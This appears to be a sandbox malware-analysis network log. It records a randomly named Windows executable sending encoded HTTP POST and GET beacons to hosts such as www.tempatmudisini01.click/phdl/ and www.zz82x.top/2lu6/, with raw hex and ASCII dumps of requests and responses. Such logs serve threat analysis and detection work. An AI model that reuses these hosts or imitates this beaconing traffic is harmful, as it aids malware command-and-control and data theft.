44 85 36 f6 02 61 9b 32 b5 e3 d5 02 50 15 68 6a 85 47 bb c1 2e 65 8a 12 1f c3 b4 66 fb db f5 de 04 11 11 15 91 bc 0f 99 99 b6 b5 eb 3a 7e 78 86 00 89 59 92 80 9e 8d 12 30 f7 2e ba 3b 86 4e 1d bd ea d0 15 41 4d 3f be 5f c7 41 df d3 e2 c2 f5 51 38 8f a1 22 39 9f 1f e5 81 14 96 08 21 47 6e 45 3d af 8a ba 22 85 0d bd 77 a3 be 16 0a ab 1c 17 7d 5b 68 e6 cc de 04 3f fb 38 de ac 13 67 2a 3b 71 40 ba 59 f5 c1 38 94 e7 a3 18 cc 02 3f 9c 20 83 c2 dd 1b 71 40 d0 26 c0 01 b2 de fe e9 8b 4d 91 e7 5b 38 86 60 7d 99 65 01 3b 2b 42 d7 37 d2 4b 2d 79 ce b6 [TRUNCATED] Data Ascii: 2d1b-QG0R\|"!\|1tkdj'c?[z/WIZcPgKuSV0MivuTlu{b0Bx^+D6a2PhjG.ef:~xY0.;NAM?_AQ8"9!GnE="w}[h?8g;q@Y8? q@&M[8`}e;+B7K-yOv;%38TZB}Ax=ZitssmoeYdgu'PFi.:?4XWCN2>dg3M62/C/gl]CFR@JrCJ3O6:.$I9Zf"g>d@!gBw:T(<NjBWzF}6\+ `^f?T'I80Oq;1&cpk"nLa^qrz^>'<?vIz?'A8$RnW~^cRN}-abY-IxV_Yr*IRxqHym"5Q0/~tN\bd
Sep 23, 2024 14:37:16.852261066 CEST	1236	IN	Data Raw: 07 0c 7f 76 e2 80 bf 88 20 d0 3f 44 b1 46 04 91 a4 ae 8a e9 3a 4b 57 45 4a 91 6a 66 2a 02 bb 70 03 fa 5a 41 2d 98 86 66 ef 64 00 ab aa 72 5f c2 e3 35 61 f2 e4 fe ba f9 41 86 fa 18 87 64 ac 85 47 d2 2a 71 20 65 e0 7b 43 c7 98 92 87 be d9 cc eb 87 Data Ascii: v ?DF:KWEJjfpZA-fdr_5aAdGq e{CiC"o/Vb=8$M+,FDhitpv7zg,S^@ps\LyY"nIZvob{x>b9?=I8pcCnphZl36S
Sep 23, 2024 14:37:16.852271080 CEST	1236	IN	Data Raw: 03 67 54 c8 60 cc c5 34 3d ae f6 21 cb 93 70 31 0d 24 89 84 9c 4e a6 56 a4 3e 92 ed 68 b6 e0 69 6a 5b 66 4e a2 55 78 de b6 0a cf d4 d2 6a 85 5f 41 91 38 20 f4 fa 0d 4e d8 80 c7 1b 9c b0 e9 e0 84 4d b6 bb 9c 6c 6e 2f d4 00 66 f7 23 60 55 4c a5 5c Data Ascii: gT`4=!p1$NV>hij[fNUxj_A8 NMln/f#`UL\Dl$V,(q-.\Yr #g=fpm3TFrDH}4SOy1VZ~Y9+A%vW2H5QRhg\|,pr9kTb2;w:UQUQa~
Sep 23, 2024 14:37:16.852348089 CEST	1236	IN	Data Raw: 25 57 2f b3 9a fc 88 a2 2b 8a 8e 69 a1 28 f2 f4 c1 23 b2 ac 3b 41 86 7a 24 a3 87 96 34 6b a5 5b 8d 83 99 0b 4f 1d 50 3c e4 7c 54 5e 52 74 73 c3 e4 37 b5 20 4b f0 98 a0 7d 08 2c 4e 55 7d 82 16 3c 37 71 31 36 09 a2 22 b5 b0 8e cb 6a f2 9f 63 61 cf Data Ascii: %W/+i(#;Az$4k[OP<\|T^Rts7 K},NU}<7q16"jcatHVKpwu',pk)MY&\|l4"*nEU+E/wQ4[~Mw!kE`RK`\sEYqC+S%(_Jbm\ a1Ht:<`i/g
Sep 23, 2024 14:37:16.852440119 CEST	1236	IN	Data Raw: 53 0c 9e 26 9c 45 5c ea 34 3d 94 0d 24 52 8b 33 49 30 99 64 36 0e 4c 0e a2 e0 22 01 25 93 0d 03 e3 fe 79 ec ca c5 f1 61 75 88 ba 67 b9 a6 cc 4c 96 83 f3 83 cd c2 bc f8 b0 f9 b5 9b e2 6a 73 e8 f6 0b ae 27 fd bb 82 5c 7d 4a 8e 13 97 2d ec 17 cd 7f Data Ascii: S&E\4=$R3I0d6L"%yaugLjs'\}J-D\n4Moz^Dm]jaG!c,F!4y;&<+D\@[0W0*-Kdo\O@5xN=0E!Ws;LpD}M]hP2{=$
Sep 23, 2024 14:37:16.852446079 CEST	1236	IN	Data Raw: c1 f7 1b 30 e0 a5 c8 61 26 f0 02 bc ac 4c 45 28 60 59 eb 1c 66 7a 63 cf 18 20 90 0a 6d 7e 79 00 61 c9 6b 49 28 88 f2 8d 9b 30 90 0c 6c 83 ff 2c b1 5e b2 14 d5 3b ba da 3e 3c c6 da e4 ef 16 be f9 dd b2 87 fc 0d 85 0d 66 5a 07 14 ab b9 ed 6e 0b 9f Data Ascii: 0a&LE(`Yfzc m~yakI(0l,^;><fZn]Zos:Q4O{wNN%fX2R0]3+_;"wuOue7S'4suviR~2/9E!"KuKz
Sep 23, 2024 14:37:16.852452993 CEST	1236	IN	Data Raw: e7 95 9f dc 46 80 17 3e 0b 9e 21 17 2d ab b7 29 6a 19 97 ac 69 b0 3a ab 2c cd 36 53 64 c7 35 0f e7 ab 1a 89 01 c7 1a 08 ac 5a 36 85 d9 25 53 b1 2a b0 ca 5a 59 51 f8 ce e0 95 ca 04 c9 cc f3 84 89 76 cb 2d 65 e0 de 6b 37 81 f3 ef 6f 99 49 6c 12 c1 Data Ascii: F>!-)ji:,6Sd5Z6%S*ZYQv-ek7oIlA$pr@u{\|Brf:=->&s:9bjT'@.0G41Q/hT'GGa+Hjo0c;5aI('S M1\|$SgCUz^CX
Sep 23, 2024 14:37:16.852458954 CEST	1236	IN	Data Raw: 98 a7 34 c4 25 1d bb 7b d9 3f 01 15 9d 4e e3 a5 31 55 87 96 16 b1 9e dd 32 4c ba 10 ed 49 d4 ae e0 bc f1 8e a3 f0 bf ff 5d 73 e8 e3 29 73 6d f5 34 e3 87 23 e4 fb ee dc ba ad 2e 23 c2 ce 1c f2 c4 b6 8b ed 00 b4 a4 3d dc 55 b1 12 15 49 b0 b7 61 af Data Ascii: 4%{?N1U2LI]s)sm4#.#=UIaP\[X=AbN'i&]D(A~fQx!CP}dBA{:%Q7<ar?EUKvXOz'}`xtaB,Ry*/;rnO<6H[_}M;}
Sep 23, 2024 14:37:16.852621078 CEST	1236	IN	Data Raw: 0b 6e cf 64 17 4d a2 09 49 0d d2 87 ad d4 92 8a e5 9b 7c 5a 8b a1 d8 c3 68 80 8e f5 a2 22 17 a4 65 5b 85 58 2e f7 24 9a bc f9 f5 b6 b6 45 66 12 fd a3 3c 13 df bf 50 33 d4 38 7f b7 19 22 13 73 8d 15 ae e4 48 ab 76 76 89 0e 45 55 d3 19 f7 cc f0 a8 Data Ascii: ndMI\|Zh"e[X.$Ef<P38"sHvvEUZR!r,+DC(9(53likXr6`i&v3[R@J7sSTs(P)n!M&`AX,ACcEj 4kvl$Nk.vC,VByLfjh/xMIX$%IJ
Sep 23, 2024 14:37:16.852627993 CEST	917	IN	Data Raw: 3d 34 2c 63 e8 26 8a 6d 91 d6 60 aa e6 39 ff ae 91 c5 aa 98 81 e1 17 91 36 14 79 6e e5 a9 f5 1a 5a 32 5c 5a 5c 2c f6 c9 df 94 66 18 07 34 03 d1 39 a2 10 f4 69 73 f4 24 94 36 9e 71 11 19 26 15 bf 39 1e 97 69 19 03 c7 5f 8b e7 79 90 2f 62 67 69 13 Data Ascii: =4,c&m`96ynZ2\Z\,f49is$6q&9i_y/bgi]h/8G''qPjO@88'Q1)nC+5BZ)w}Gz`Kl!U&<*p!zLU-n956@F&2^^=t>EU~
Sep 23, 2024 14:37:16.852647066 CEST	11	IN	Data Raw: 31 0d 0a 03 0d 0a 30 0d 0a 0d 0a Data Ascii: 10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49707	103.21.221.4	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:37:18.036112070 CEST	1803	OUT	POST /phdl/ HTTP/1.1 Host: www.tempatmudisini01.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.tempatmudisini01.click Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1247 Connection: close Referer: http://www.tempatmudisini01.click/phdl/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 63 59 30 74 50 74 6e 51 4a 2b 2f 32 61 37 61 45 37 2f 6b 32 54 46 4b 6a 4e 44 69 68 64 43 38 34 37 4b 72 71 63 5a 37 67 66 50 70 67 73 55 45 36 6b 45 59 77 79 77 6e 30 34 46 7a 62 73 57 39 72 71 46 70 79 75 61 71 30 78 6f 66 43 74 76 30 73 47 4a 32 5a 75 4e 51 51 38 47 5a 49 79 67 30 4f 49 6a 51 48 34 71 6d 39 67 74 36 52 50 48 6a 64 6c 47 6b 63 50 63 36 30 72 59 32 58 73 43 71 49 2b 65 76 6e 53 61 7a 5a 43 4e 2f 52 46 74 69 39 77 51 55 33 2f 6a 55 2f 73 34 6e 74 44 47 47 6b 59 57 47 67 55 4d 5a 64 70 44 4f 78 71 5a 73 58 44 6f 46 52 34 42 77 71 50 47 46 2b 48 6f 62 42 2f 6b 2b 56 36 71 56 42 4d 31 6d 4a 62 33 4d 69 51 73 61 6d 4b 75 76 6a 56 38 38 5a 61 4f 78 70 71 6d 33 48 4c 50 56 72 6d 34 2b 67 35 46 37 54 33 4d 59 44 2f 6a 63 64 4c 6c 53 52 35 49 51 5a 79 74 65 55 33 33 63 6d 73 59 76 32 31 55 76 32 79 54 70 37 56 56 33 4c 51 4f 74 69 58 76 78 67 75 56 47 5a 62 74 4e 50 34 68 32 67 64 72 51 68 4a 37 65 51 71 48 35 78 68 4c 6e 2f 2f 30 62 6b 69 6d 6e 35 4b 4d 49 6b 66 67 65 67 45 47 72 [TRUNCATED] Data Ascii: 76=cY0tPtnQJ+/2a7aE7/k2TFKjNDihdC847KrqcZ7gfPpgsUE6kEYwywn04FzbsW9rqFpyuaq0xofCtv0sGJ2ZuNQQ8GZIyg0OIjQH4qm9gt6RPHjdlGkcPc60rY2XsCqI+evnSazZCN/RFti9wQU3/jU/s4ntDGGkYWGgUMZdpDOxqZsXDoFR4BwqPGF+HobB/k+V6qVBM1mJb3MiQsamKuvjV88ZaOxpqm3HLPVrm4+g5F7T3MYD/jcdLlSR5IQZyteU33cmsYv21Uv2yTp7VV3LQOtiXvxguVGZbtNP4h2gdrQhJ7eQqH5xhLn//0bkimn5KMIkfgegEGrQs/9sDQ/oKRwvV7HkS9oFhd83v/22SUkhsy2dvRR/BfxZi8p1CRCp/DAD0VWHqNdK7Rb0ME7PnUOzlPsC4l/s4RuzFnsL9+UtLLOqb0jzMnXNoVTpTDfyfJ97aI5D8Cx5x6sdPs88f/Ak4ho0JJrvEIj8RKK0JC1vGkTOmIQJrKlMsLT4CRRq4yGCtBxfdgrPj9nNKKsvnxzXkdaG+L9EMaUNhnxMRWsjmO6NjweqTmGXOjR2C0PbtlVSO5+oPuuxPIJm4t7X13c1nleSyu720Pd8b1DFnAmxYZQDiTKD0KazxETaItx9AGn2+goEA7VyaL/iq3rf+aLLKVwTPwmTlcjJG2m8l+92f6NwZzOcckvzwbafF9tp4fpZWrQ7rJTwDKXLROPAZoKrPuLCOwtJ5KBwHTbvxhwEgmyrjRBIvoWEngAg6b+hEdAsCXscC3ugBolZecwbqwn92srzUoPG7nBotSwj9IA2GBDcAgV3gkxOo9CafAWHhQeBGcvibeW3ATY21xSbsIEFCJMEXMd5ZWMM57sEmObmyzWDXHCSFQ/sbU+aKMmSuJNz6qpjU/2/jDcERoRQdGoNAVH6+J7uP55v5WXv0faigfn4yQUgALaBdrO+6Ulj3VUAtsxgBuiqTPnPv5iK5wlFzYMTB7sEv0v5wCr14biN/ [TRUNCATED]
Sep 23, 2024 14:37:19.355966091 CEST	1236	IN	HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/7.4.33 x-litespeed-tag: 894_HTTP.404 expires: Wed, 11 Jan 1984 05:00:00 GMT content-type: text/html; charset=UTF-8 link: <https://tempatmudisini01.click/wp-json/>; rel="https://api.w.org/" x-litespeed-cache-control: no-cache cache-control: no-cache, no-store, must-revalidate, max-age=0 content-length: 11547 content-encoding: br vary: Accept-Encoding date: Mon, 23 Sep 2024 12:37:19 GMT server: LiteSpeed Data Raw: e2 af 3b 8a aa da 0f 11 51 d4 87 00 8d 94 85 f3 f7 47 c8 30 f7 ff fe 52 ff ff db fc 7c ed a8 eb d8 d0 22 21 f0 18 1c 7c a6 31 b7 c3 74 ef 6b b2 b2 64 d8 d8 6a 84 a4 27 09 63 1f ea 3f 5b f5 7a b6 2f a7 57 c6 49 5a 63 89 af a7 0d 50 67 fb 4b b6 75 e2 53 56 81 04 a8 06 10 16 30 4d a7 ab ff 7f 7f 69 96 8b 76 b0 db a6 0b 75 84 8e e4 54 e9 a1 c2 0a ab 6c 75 ef 7b ef 9c fc 81 62 04 c5 08 8a 91 14 30 15 92 ed 42 86 fb ee 83 ff e7 0f 78 04 5e c9 8c 2b c9 44 85 36 f6 02 61 9b 32 b5 e3 d5 02 50 15 68 6a 85 47 bb c1 2e 65 8a 12 1f c3 b4 66 fb db f5 de 04 11 11 15 91 bc 0f 99 99 b6 b5 eb 3a 7e 78 86 00 89 59 92 80 9e 8d 12 30 f7 2e ba 3b 86 4e 1d bd ea d0 15 41 4d 3f be 5f c7 41 df d3 e2 c2 f5 51 38 8f a1 22 39 9f 1f e5 81 14 96 08 21 47 6e 45 3d af 8a ba 22 85 0d bd 77 a3 be 16 0a ab 1c 17 7d 5b 68 e6 cc de 04 3f fb 38 de ac 13 67 2a 3b 71 40 ba 59 f5 c1 38 94 e7 a3 18 cc 02 3f 9c 20 83 c2 dd 1b 71 40 d0 26 c0 01 b2 de fe e9 8b 4d 91 e7 5b 38 86 60 7d 99 65 01 3b 2b 42 d7 37 d2 4b 2d 79 ce b6 b1 4f 76 84 f6 b0 [TRUNCATED] Data Ascii: ;QG0R\|"!\|1tkdj'c?[z/WIZcPgKuSV0MivuTlu{b0Bx^+D6a2PhjG.ef:~xY0.;NAM?_AQ8"9!GnE="w}[h?8g;q@Y8? q@&M[8`}e;+B7K-yOv;%38TZB}Ax=ZitssmoeYdgu'PFi.:?4XWCN2>dg3M62/C/gl]CFR@JrCJ3O6:.$I9Zf"g>d@!gBw:T(<NjBWzF}6\+ `^f?T'I80Oq;1&cpk"nLa^qrz^>'<?vIz?'A8$RnW~^cRN}-abY-IxV_Yr*IRxqHym"5Q0/~tN\bdv ?
Sep 23, 2024 14:37:19.355983973 CEST	1236	IN	Data Raw: 44 b1 46 04 91 a4 ae 8a e9 3a 4b 57 45 4a 91 6a 66 2a 02 bb 70 03 fa 5a 41 2d 98 86 66 ef 64 00 ab aa 72 5f c2 e3 35 61 f2 e4 fe ba f9 41 86 fa 18 87 64 ac 85 47 d2 2a 71 20 65 e0 7b 43 c7 98 92 87 be d9 cc eb 87 be 69 db f9 43 df 22 6f 1f fa 82 Data Ascii: DF:KWEJjfpZA-fdr_5aAdGq e{CiC"o/Vb=8$M+,FDhitpv7zg,S^@ps\LyY"nIZvob{x>b9?=I8pcCnphZl36S}
Sep 23, 2024 14:37:19.355998039 CEST	1236	IN	Data Raw: 21 cb 93 70 31 0d 24 89 84 9c 4e a6 56 a4 3e 92 ed 68 b6 e0 69 6a 5b 66 4e a2 55 78 de b6 0a cf d4 d2 6a 85 5f 41 91 38 20 f4 fa 0d 4e d8 80 c7 1b 9c b0 e9 e0 84 4d b6 bb 9c 6c 6e 2f d4 00 66 f7 23 60 55 4c a5 5c b9 44 b1 6c 97 0c d8 8d 09 d7 24 Data Ascii: !p1$NV>hij[fNUxj_A8 NMln/f#`UL\Dl$V,(q-.\Yr #g=fpm3TFrDH}4SOy1VZ~Y9+A%vW2H5QRhg\|,pr9kTb2;w:UQUQa~X
Sep 23, 2024 14:37:19.356062889 CEST	1236	IN	Data Raw: 69 a1 28 f2 f4 c1 23 b2 ac 3b 41 86 7a 24 a3 87 96 34 6b a5 5b 8d 83 99 0b 4f 1d 50 3c e4 7c 54 5e 52 74 73 c3 e4 37 b5 20 4b f0 98 a0 7d 08 2c 4e 55 7d 82 16 3c 37 71 31 36 09 a2 22 b5 b0 8e cb 6a f2 9f 63 61 cf 74 b8 48 94 56 e1 4b 83 70 9a 13 Data Ascii: i(#;Az$4k[OP<\|T^Rts7 K},NU}<7q16"jcatHVKpwu',pk)MY&\|l4"*nEU+E/wQ4[~Mw!kE`RK`\sEYqC+S%(_Jbm\ a1Ht:<`i/gVi0BW
Sep 23, 2024 14:37:19.356076002 CEST	1236	IN	Data Raw: 0d 24 52 8b 33 49 30 99 64 36 0e 4c 0e a2 e0 22 01 25 93 0d 03 e3 fe 79 ec ca c5 f1 61 75 88 ba 67 b9 a6 cc 4c 96 83 f3 83 cd c2 bc f8 b0 f9 b5 9b e2 6a 73 e8 f6 0b ae 27 fd bb 82 5c 7d 4a 8e 13 97 2d ec 17 cd 7f 44 d6 5c 6e c1 f5 34 4d 6f 8d e1 Data Ascii: $R3I0d6L"%yaugLjs'\}J-D\n4Moz^Dm]jaG!c,F!4y;&<+D\@[0W0*-Kdo\O@5xN=0E!Ws;LpD}M]hP2{=$O\]!
Sep 23, 2024 14:37:19.356168985 CEST	1120	IN	Data Raw: bc ac 4c 45 28 60 59 eb 1c 66 7a 63 cf 18 20 90 0a 6d 7e 79 00 61 c9 6b 49 28 88 f2 8d 9b 30 90 0c 6c 83 ff 2c b1 5e b2 14 d5 3b ba da 3e 3c c6 da e4 ef 16 be f9 dd b2 87 fc 0d 85 0d 66 5a 07 14 ab b9 ed 6e 0b 9f 5d f6 09 5a 1d 08 6f 84 a1 9e cf Data Ascii: LE(`Yfzc m~yakI(0l,^;><fZn]Zos:Q4O{wNN%fX2R0]3+_;"wuOue7S'4suviR~2/9E!"KuKz+5'Q
Sep 23, 2024 14:37:19.356184006 CEST	1236	IN	Data Raw: a2 b1 b9 b8 3e 47 74 1b b5 42 ce 98 d4 62 09 aa bd 08 f5 f5 39 8a 77 39 ad 9c e7 28 09 50 c1 3e 4b a1 6d ef 1c 2c 11 ff 6d 9e 88 55 12 ed 86 2b e7 39 ea e8 65 d9 5b 39 cf d1 84 03 3b 6c 2c d1 97 78 d9 89 d2 15 7a 51 7c f7 b6 ff fe 77 8a cb 1b a9 Data Ascii: >GtBb9w9(P>Km,mU+9e[9;l,xzQ\|wH6\=vHuWJ4eF>!-)ji:,6Sd5Z6%S*ZYQv-ek7oIlA$pr@u{\|Brf:=->&s:9bj
Sep 23, 2024 14:37:19.356197119 CEST	1236	IN	Data Raw: 62 b0 34 8b ca b0 36 00 f9 56 3d 19 61 b4 d7 6e 8b 10 d8 47 a1 6f f7 c8 e8 b2 39 f6 39 d2 db dd 9c e3 b8 13 a5 ee 74 11 1b 28 42 f7 7c 94 3d 0c 29 c7 b0 91 87 45 10 d8 51 09 4c 49 b1 11 bc 67 1d 2f 15 a6 a8 5a 27 03 bc bb 87 5d 1a 97 59 93 d4 1d Data Ascii: b46V=anGo99t(B\|=)EQLIg/Z']YX{8wv7mjy4%{?N1U2LI]s)sm4#.#=UIaP\[X=AbN'i&]D(A~fQx!CP}dBA{:
Sep 23, 2024 14:37:19.356291056 CEST	1236	IN	Data Raw: be aa 67 14 59 b7 db 1d 9d 33 6e c1 17 a0 4a bd 63 8f 0d 3d 97 be ad c8 13 92 9d 05 be cc b1 a6 06 b2 bb 22 1a 95 e8 36 89 d9 97 58 47 68 85 0b 64 07 07 37 84 8a 4b 03 88 f6 b3 7e c1 b1 23 a3 b8 57 0a b2 c0 2a 66 44 df 08 d4 43 b4 31 12 19 ef 0a Data Ascii: gY3nJc="6XGhd7K~#W*fDC1$"-`l9\)<ndMI\|Zh"e[X.$Ef<P38"sHvvEUZR!r,+DC(9(53likXr6`
Sep 23, 2024 14:37:19.356303930 CEST	1020	IN	Data Raw: cf 82 a0 c5 13 38 45 80 65 42 b6 cb 6c 93 ef 6f 56 b8 8a 5f 63 bf 97 78 90 0e 57 88 6c de ef 3b 19 b8 28 f2 1b 4c 4d d4 25 cc ea 1e 45 d1 5d d6 09 a9 63 b8 ba ee 39 3c cb d8 f6 18 eb 65 1c b5 ae c8 e4 41 fb 74 b9 c9 cd 3d dd 2c 72 5e 71 c0 97 69 Data Ascii: 8EeBloV_cxWl;(LM%E]c9<eAt=,r^qiUFSq,d+-L=4,c&m`96ynZ2\Z\,f49is$6q&9i_y/bgi]h/8G''qPjO@88'Q1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49708	103.21.221.4	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:37:20.576164007 CEST	487	OUT	GET /phdl/?76=RacNMaTPN8PTLvXR9NF5eW2iQDieTkk5np6gf4eeXsIapVFDjThj3jiQkVzZmExioktz4vqZ0cfToK8eCYqJupED41Yr5DEkLX4m9t/uleGnewHbryEHDsS5u5fKmXjTxI+rab/4BaXG&mtJD_=fvdlJ2L HTTP/1.1 Host: www.tempatmudisini01.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Sep 23, 2024 14:37:21.769678116 CEST	543	IN	HTTP/1.1 301 Moved Permanently Connection: close x-powered-by: PHP/7.4.33 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 x-redirect-by: WordPress location: http://tempatmudisini01.click/phdl/?76=RacNMaTPN8PTLvXR9NF5eW2iQDieTkk5np6gf4eeXsIapVFDjThj3jiQkVzZmExioktz4vqZ0cfToK8eCYqJupED41Yr5DEkLX4m9t/uleGnewHbryEHDsS5u5fKmXjTxI+rab/4BaXG&mtJD_=fvdlJ2L x-litespeed-cache: miss content-length: 0 date: Mon, 23 Sep 2024 12:37:21 GMT server: LiteSpeed

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49709	38.47.232.196	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:37:27.333808899 CEST	731	OUT	POST /2lu6/ HTTP/1.1 Host: www.zz82x.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.zz82x.top Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 215 Connection: close Referer: http://www.zz82x.top/2lu6/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 43 5a 6f 54 33 79 54 54 4e 6f 42 49 68 78 34 71 37 4b 31 69 5a 4e 79 73 6d 7a 58 66 42 6a 48 37 35 39 74 47 73 75 32 47 5a 50 46 7a 33 5a 77 42 61 71 33 2f 31 6a 72 42 54 77 61 68 58 70 35 4e 37 61 76 43 56 6b 63 50 33 4e 72 64 74 6d 35 65 4f 70 33 41 6b 2f 65 45 68 5a 55 70 57 51 69 44 61 4c 76 41 7a 70 32 4c 6d 6c 2b 70 33 32 49 6d 2f 30 76 4d 39 30 30 30 52 6c 38 2f 6d 56 4d 74 6e 75 33 50 62 59 4d 43 50 48 53 37 79 78 70 45 45 57 34 66 38 58 4a 65 30 76 78 4f 66 79 6d 75 49 72 59 78 2b 6d 43 58 73 4d 4f 57 4b 32 6a 38 6a 78 69 54 6d 75 34 76 67 77 4a 6f 49 46 78 52 45 67 2f 54 4f 43 68 49 4a 36 48 5a 79 4b 39 51 6d 41 3d 3d Data Ascii: 76=CZoT3yTTNoBIhx4q7K1iZNysmzXfBjH759tGsu2GZPFz3ZwBaq3/1jrBTwahXp5N7avCVkcP3Nrdtm5eOp3Ak/eEhZUpWQiDaLvAzp2Lml+p32Im/0vM9000Rl8/mVMtnu3PbYMCPHS7yxpEEW4f8XJe0vxOfymuIrYx+mCXsMOWK2j8jxiTmu4vgwJoIFxREg/TOChIJ6HZyK9QmA==
Sep 23, 2024 14:37:28.123538017 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Sep 2024 12:37:27 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49710	38.47.232.196	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:37:29.880053043 CEST	751	OUT	POST /2lu6/ HTTP/1.1 Host: www.zz82x.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.zz82x.top Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 235 Connection: close Referer: http://www.zz82x.top/2lu6/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 43 5a 6f 54 33 79 54 54 4e 6f 42 49 67 52 6f 71 35 72 31 69 66 74 79 76 6a 7a 58 66 50 44 48 2f 35 39 70 47 73 72 58 64 59 39 68 7a 33 37 6f 42 49 59 66 2f 34 44 72 42 5a 51 61 67 54 70 35 45 37 61 6a 67 56 6d 34 50 33 4e 2f 64 74 69 78 65 50 65 62 48 69 2f 65 47 30 4a 56 76 53 51 69 44 61 4c 76 41 7a 74 66 6b 6d 6c 32 70 30 47 34 6d 2b 51 62 44 31 55 30 33 55 6c 38 2f 73 31 4e 6d 6e 75 33 78 62 5a 52 4b 50 45 71 37 79 31 6c 45 45 6e 34 63 32 58 49 58 70 66 78 59 55 67 75 67 47 4a 77 66 36 58 47 44 70 4f 4c 30 47 67 2b 65 35 54 75 2f 34 2f 41 55 6b 79 74 65 66 6a 73 6b 47 68 37 4c 44 67 56 70 57 4e 69 7a 2f 59 63 55 77 2f 66 4a 7a 5a 4c 73 4a 6a 38 43 43 50 4f 7a 51 50 2f 48 6e 72 59 3d Data Ascii: 